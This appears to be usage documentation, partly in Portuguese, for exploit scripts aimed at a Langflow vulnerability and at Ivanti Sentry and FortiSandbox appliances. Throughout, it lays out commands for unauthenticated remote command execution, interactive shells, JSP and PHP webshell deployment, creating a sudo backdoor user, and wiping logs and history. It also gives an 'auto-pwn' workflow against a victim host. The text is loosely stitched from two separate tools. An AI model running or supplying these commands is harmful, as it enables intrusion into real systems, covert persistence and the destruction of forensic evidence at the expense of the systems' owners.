
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
Nenhuma credencial necessária.
python3 exploitt.py
# Check if vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Interactive shell
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# Deploy JSP webshell (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Create backdoor user + clean logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Single command
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Interactive shell with file upload
python3 exploitt.py -u https://forti.example.com --type forti -s
# Inside shell: upload /path/local.txt /remote/path.txt
# Deploy PHP webshell
python3 exploitt.py -u https://forti.example.com --type forti -w
# Full auto‑pwn (check, shell, webshell, persist, clean)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
Argumentos disponíveis da linha de comando
Argumento Descrição -u, --url URL do alvo (ex.: https://192.168.1.100:8443) --type Forçar serviço: ivanti ou forti (opcional, detecção automática) -t, --timeout Timeout da requisição em segundos (padrão: 30) --proxy Proxy HTTP/HTTPS (ex.: http://127.0.0.1:8080) -d, --debug Ativar saída de depuração --ua String personalizada de User-Agent -c, --cmd Executar um único comando e sair -s, --shell Iniciar shell interativa -w, --webshell Implantar uma webshell (PHP para Forti, JSP para Ivanti) -p, --persist Criar usuário backdoor persistente com sudo --clean Apagar logs e histórico de comandos após a exploração
Comandos da shell interativa
Dentro da shell interativa, você pode usar:
Comando Exemplo Descrição comando normal id Executar qualquer comando do sistema upload upload exploit.sh /tmp/backdoor.sh Enviar arquivo local para o host remoto exit exit Sair da shell
Detalhes da implantação da webshell
· Ivanti Sentry – implanta uma shell .jsp dentro do webapps do Tomcat (/usr/local/tomcat/webapps/ROOT/) · Acesso via https://target/shell_random.jsp?cmd=whoami · FortiSandbox – implanta uma shell .php dentro da raiz web (/var/www/html/) · Acesso via https://target/shell_random.php?cmd=whoami
Exemplo de fluxo de trabalho (teste de penetração completo)
# 1. Detect and exploit
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Inside the shell, check privileges
id
# 3. Deploy webshell for persistence
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Create a backdoor user
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Clean logs
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean